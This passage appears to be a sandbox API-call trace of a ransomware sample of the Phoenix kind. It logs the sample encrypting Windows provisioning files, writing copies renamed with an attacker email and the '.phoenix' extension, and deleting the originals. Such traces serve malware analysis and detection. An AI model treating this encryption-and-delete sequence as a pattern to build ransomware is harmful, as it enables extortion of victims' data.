	[0247.112] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.112] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.112] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.112] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.112] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0247.113] CloseHandle (hObject=0x2e8) returned 1
	[0247.113] CloseHandle (hObject=0x2d8) returned 1
	[0247.113] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.114] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=660) returned 1
	[0247.114] CloseHandle (hObject=0x2d8) returned 1
	[0247.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.115] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.115] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.115] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0247.115] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.115] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x294, lpOverlapped=0x0) returned 1
	[0247.123] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0247.123] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0247.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0247.124] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.124] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.125] CryptDestroyKey (hKey=0x151700) returned 1
	[0247.125] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.125] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.125] CloseHandle (hObject=0x2d8) returned 1
	[0247.125] CloseHandle (hObject=0x2e8) returned 1
	[0247.125] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\292__connections_cellular_tele2 (netherlands)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.126] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.126] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=650) returned 1
	[0247.126] CloseHandle (hObject=0x2e8) returned 1
	[0247.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.127] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.127] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.127] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0247.127] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.127] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28a, lpOverlapped=0x0) returned 1
	[0247.135] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0247.135] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0247.137] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0247.137] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.137] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.137] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.137] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.137] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.137] CloseHandle (hObject=0x2e8) returned 1
	[0247.137] CloseHandle (hObject=0x2d8) returned 1
	[0247.141] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.144] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.144] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.166] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=725) returned 1
	[0247.166] CloseHandle (hObject=0x2d4) returned 1
	[0247.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.166] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.166] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.166] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.166] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.173] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0247.174] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.174] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d5, lpOverlapped=0x0) returned 1
	[0247.178] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.178] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.179] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0247.179] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.179] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.179] CryptDestroyKey (hKey=0x151740) returned 1
	[0247.179] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.179] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.179] CloseHandle (hObject=0x2d4) returned 1
	[0247.179] CloseHandle (hObject=0x2b4) returned 1
	[0247.179] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.180] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.181] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=736) returned 1
	[0247.181] CloseHandle (hObject=0x2b4) returned 1
	[0247.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0247.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.181] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.181] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.182] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0247.182] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.182] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.189] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0) returned 1
	[0247.189] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2f0, lpOverlapped=0x0) returned 1
	[0247.189] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0247.189] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.189] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.189] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.189] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.190] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.190] CloseHandle (hObject=0x2b4) returned 1
	[0247.190] CloseHandle (hObject=0x2d4) returned 1
	[0247.190] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml")) returned 1
	[0247.191] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.191] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.191] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=861) returned 1
	[0247.191] CloseHandle (hObject=0x2d4) returned 1
